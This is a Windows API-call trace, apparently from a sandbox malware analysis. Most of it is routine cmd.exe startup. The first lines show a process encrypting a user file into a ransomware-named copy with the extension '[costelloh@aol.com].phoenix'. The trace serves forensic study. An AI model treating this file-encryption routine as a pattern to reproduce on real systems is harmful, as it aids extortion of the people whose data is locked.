	[0268.212] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8290) returned 1
	[0268.212] CloseHandle (hObject=0x2b0) returned 1
	[0268.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png")) returned 0x20
	[0268.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.212] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0268.212] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.212] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.212] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0268.214] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0268.214] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.214] ReadFile (hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0) 

Thread:
	id = 279
	os_tid = 0xf68


Process:
	id = "14"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x21975000"
	os_pid = "0xd5c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xd2c"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 88
	os_tid = 0xd60

	[0215.192] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff683550000
	[0215.192] __set_app_type (_Type=0x1) 
	[0215.192] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff683566d00) returned 0x0
	[0215.192] __getmainargs (in: _Argc=0x7ff683589200, _Argv=0x7ff683589208, _Env=0x7ff683589210, _DoWildCard=0, _StartInfo=0x7ff68358921c | out: _Argc=0x7ff683589200, _Argv=0x7ff683589208, _Env=0x7ff683589210) returned 0
	[0215.209] _onexit (_Func=0x7ff683567fd0) returned 0x7ff683567fd0
	[0215.209] _onexit (_Func=0x7ff683567fe0) returned 0x7ff683567fe0
	[0215.212] _onexit (_Func=0x7ff683567ff0) returned 0x7ff683567ff0
	[0215.212] _onexit (_Func=0x7ff683568000) returned 0x7ff683568000
	[0215.212] _onexit (_Func=0x7ff683568010) returned 0x7ff683568010
	[0215.213] _onexit (_Func=0x7ff683568020) returned 0x7ff683568020
	[0215.213] GetCurrentThreadId () returned 0xd60
	[0215.213] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd60) returned 0x70
	[0215.213] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff8628a0000
	[0215.213] GetProcAddress (hModule=0x7ff8628a0000, lpProcName="SetThreadUILanguage") returned 0x7ff8628ba990
	[0215.213] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0215.246] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0215.246] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xc90e98fa38 | out: phkResult=0xc90e98fa38*=0x0) returned 0x2
	[0215.246] VirtualQuery (in: lpAddress=0xc90e98fa24, lpBuffer=0xc90e98f9a0, dwLength=0x30 | out: lpBuffer=0xc90e98f9a0*(BaseAddress=0xc90e98f000, AllocationBase=0xc90e890000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0215.246] VirtualQuery (in: lpAddress=0xc90e890000, lpBuffer=0xc90e98f9a0, dwLength=0x30 | out: lpBuffer=0xc90e98f9a0*(BaseAddress=0xc90e890000, AllocationBase=0xc90e890000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0215.246] VirtualQuery (in: lpAddress=0xc90e891000, lpBuffer=0xc90e98f9a0, dwLength=0x30 | out: lpBuffer=0xc90e98f9a0*(BaseAddress=0xc90e891000, AllocationBase=0xc90e890000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0215.246] VirtualQuery (in: lpAddress=0xc90e894000, lpBuffer=0xc90e98f9a0, dwLength=0x30 | out: lpBuffer=0xc90e98f9a0*(BaseAddress=0xc90e894000, AllocationBase=0xc90e890000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0215.246] VirtualQuery (in: lpAddress=0xc90e990000, lpBuffer=0xc90e98f9a0, dwLength=0x30 | out: lpBuffer=0xc90e98f9a0*(BaseAddress=0xc90e990000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffc182, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0215.246] GetConsoleOutputCP () returned 0x1b5
	[0215.263] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0215.264] SetConsoleCtrlHandler (HandlerRoutine=0x7ff683578150, Add=1) returned 1
	[0215.264] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.264] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff68358fc04 | out: lpMode=0x7ff68358fc04) returned 0
	[0215.264] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.264] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff68358fc00 | out: lpMode=0x7ff68358fc00) returned 0
	[0215.264] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.264] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0215.264] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.264] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff68358fc08 | out: lpMode=0x7ff68358fc08) returned 0
	[0215.264] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.264] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff68358fc0c | out: lpMode=0x7ff68358fc0c) returned 0
	[0215.264] GetEnvironmentStringsW () returned 0x1d2f7775a60*
	[0215.264] GetProcessHeap () returned 0x1d2f7770000
	[0215.264] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xa7c) returned 0x1d2f77764f0
	[0215.264] FreeEnvironmentStringsA (penv="A") returned 1
	[0215.264] GetProcessHeap () returned 0x1d2f7770000
	[0215.264] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x8) returned 0x1d2f7776f80
	[0215.264] GetEnvironmentStringsW () returned 0x1d2f7775a60*
	[0215.264] GetProcessHeap () returned 0x1d2f7770000
	[0215.264] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xa7c) returned 0x1d2f7776fa0
	[0215.265] FreeEnvironmentStringsA (penv="A") returned 1
	[0215.265] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc90e98e8e8 | out: phkResult=0xc90e98e8e8*=0x7c) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x0, lpData=0xc90e98e900*=0x4, lpcbData=0xc90e98e8e4*=0x1000) returned 0x2
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x4, lpData=0xc90e98e900*=0x1, lpcbData=0xc90e98e8e4*=0x4) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x0, lpData=0xc90e98e900*=0x1, lpcbData=0xc90e98e8e4*=0x1000) returned 0x2
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x4, lpData=0xc90e98e900*=0x0, lpcbData=0xc90e98e8e4*=0x4) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x4, lpData=0xc90e98e900*=0x40, lpcbData=0xc90e98e8e4*=0x4) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x4, lpData=0xc90e98e900*=0x40, lpcbData=0xc90e98e8e4*=0x4) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x0, lpData=0xc90e98e900*=0x40, lpcbData=0xc90e98e8e4*=0x1000) returned 0x2
	[0215.265] RegCloseKey (hKey=0x7c) returned 0x0
	[0215.265] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc90e98e8e8 | out: phkResult=0xc90e98e8e8*=0x7c) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x0, lpData=0xc90e98e900*=0x40, lpcbData=0xc90e98e8e4*=0x1000) returned 0x2
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x4, lpData=0xc90e98e900*=0x1, lpcbData=0xc90e98e8e4*=0x4) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x0, lpData=0xc90e98e900*=0x1, lpcbData=0xc90e98e8e4*=0x1000) returned 0x2
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x4, lpData=0xc90e98e900*=0x0, lpcbData=0xc90e98e8e4*=0x4) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x4, lpData=0xc90e98e900*=0x9, lpcbData=0xc90e98e8e4*=0x4) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x4, lpData=0xc90e98e900*=0x9, lpcbData=0xc90e98e8e4*=0x4) returned 0x0
	[0215.265] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc90e98e8e0, lpData=0xc90e98e900, lpcbData=0xc90e98e8e4*=0x1000 | out: lpType=0xc90e98e8e0*=0x0, lpData=0xc90e98e900*=0x9, lpcbData=0xc90e98e8e4*=0x1000) returned 0x2
	[0215.265] RegCloseKey (hKey=0x7c) returned 0x0
	[0215.265] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccdea3f
	[0215.265] srand (_Seed=0x5ccdea3f) 
	[0215.265] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0215.265] malloc (_Size=0x4000) returned 0x1d2f77654f0
	[0215.266] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0215.266] malloc (_Size=0xffce) returned 0x1d2f7870080
	[0215.266] ??_V@YAXPEAX@Z () returned 0x1d2f7870080
	[0215.267] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d2f7870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0215.267] malloc (_Size=0xffce) returned 0x1d2f7880060
	[0215.267] ??_V@YAXPEAX@Z () returned 0x1d2f7880060
	[0215.267] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d2f7880060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0215.267] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0215.267] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0215.267] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0215.267] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0215.267] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0215.267] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0215.267] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0215.267] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0215.267] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0215.267] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0215.268] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0215.268] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0215.268] GetProcessHeap () returned 0x1d2f7770000
	[0215.268] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77764f0) returned 1
	[0215.268] GetEnvironmentStringsW () returned 0x1d2f7775a60*
	[0215.268] GetProcessHeap () returned 0x1d2f7770000
	[0215.268] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xa94) returned 0x1d2f7777a30
	[0215.268] FreeEnvironmentStringsA (penv="A") returned 1
	[0215.268] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0215.268] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0215.268] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0215.268] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0215.268] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0215.268] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0215.268] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0215.268] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0215.268] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0215.268] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0215.268] malloc (_Size=0xffce) returned 0x1d2f7890040
	[0215.268] ??_V@YAXPEAX@Z () returned 0x1d2f7890040
	[0215.269] GetProcessHeap () returned 0x1d2f7770000
	[0215.269] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x38) returned 0x1d2f77784d0
	[0215.269] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d2f7890040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0215.269] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x1d2f7890040, lpFilePart=0xc90e98f460 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xc90e98f460*="system32") returned 0x13
	[0215.269] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0215.269] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xc90e98f190 | out: lpFindFileData=0xc90e98f190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x1d2f7778510
	[0215.270] FindClose (in: hFindFile=0x1d2f7778510 | out: hFindFile=0x1d2f7778510) returned 1
	[0215.270] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xc90e98f190 | out: lpFindFileData=0xc90e98f190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x8187ef5e, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x8187ef5e, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x1d2f7778510
	[0215.270] FindClose (in: hFindFile=0x1d2f7778510 | out: hFindFile=0x1d2f7778510) returned 1
	[0215.270] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0215.270] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0215.270] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0215.270] GetProcessHeap () returned 0x1d2f7770000
	[0215.270] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7777a30) returned 1
	[0215.270] GetEnvironmentStringsW () returned 0x1d2f7775a60*
	[0215.270] GetProcessHeap () returned 0x1d2f7770000
	[0215.270] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xac4) returned 0x1d2f7778510
	[0215.270] FreeEnvironmentStringsA (penv="=") returned 1
	[0215.270] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d2f7870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0215.270] GetProcessHeap () returned 0x1d2f7770000
	[0215.270] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77784d0) returned 1
	[0215.270] ??_V@YAXPEAX@Z () returned 0x1
	[0215.270] ??_V@YAXPEAX@Z () returned 0x1
	[0215.270] GetProcessHeap () returned 0x1d2f7770000
	[0215.270] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x4016) returned 0x1d2f7778fe0
	[0215.271] GetProcessHeap () returned 0x1d2f7770000
	[0215.271] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778fe0) returned 1
	[0215.271] GetConsoleOutputCP () returned 0x1b5
	[0215.271] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0215.271] GetUserDefaultLCID () returned 0x409
	[0215.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff68358bb78, cchData=8 | out: lpLCData=":") returned 2
	[0215.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xc90e98f820, cchData=128 | out: lpLCData="0") returned 2
	[0215.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xc90e98f820, cchData=128 | out: lpLCData="0") returned 2
	[0215.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xc90e98f820, cchData=128 | out: lpLCData="1") returned 2
	[0215.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff68358bb68, cchData=8 | out: lpLCData="/") returned 2
	[0215.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff68358bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0215.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff68358bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0215.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff68358ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0215.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff68358ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0215.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff68358ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0215.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff68358b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0215.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff68358b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0215.276] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff68358bb58, cchData=8 | out: lpLCData=".") returned 2
	[0215.276] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff68358bb40, cchData=8 | out: lpLCData=",") returned 2
	[0215.276] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0215.277] GetProcessHeap () returned 0x1d2f7770000
	[0215.277] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x0, Size=0x20c) returned 0x1d2f7777aa0
	[0215.277] GetConsoleTitleW (in: lpConsoleTitle=0x1d2f7777aa0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0215.278] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.278] GetFileType (hFile=0x234) returned 0x3
	[0215.278] ApiSetQueryApiSetPresence () returned 0x0
	[0215.278] ResolveDelayLoadedAPI () returned 0x7ff850a2d990
	[0215.280] BrandingFormatString () returned 0x1d2f7778170
	[0215.285] GetVersion () returned 0x3ad7000a
	[0215.285] _vsnwprintf (in: _Buffer=0xc90e98f980, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xc90e98f918 | out: _Buffer="10.0.15063") returned 10
	[0215.285] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.285] GetFileType (hFile=0x234) returned 0x3
	[0215.285] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff683597f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0215.286] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff683597f60, nSize=0x2000, Arguments=0xc90e98f920 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0215.286] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0215.286] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xc90e98f878, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f878*=0x26, lpOverlapped=0x0) returned 1
	[0215.286] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc90e98f948 | out: _Buffer="\r\n") returned 2
	[0215.286] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.286] GetFileType (hFile=0x234) returned 0x3
	[0215.286] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0215.286] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc90e98f918, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f918*=0x2, lpOverlapped=0x0) returned 1
	[0215.286] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xc90e98f948 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0215.286] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.286] GetFileType (hFile=0x234) returned 0x3
	[0215.286] _get_osfhandle (_FileHandle=1) returned 0x234
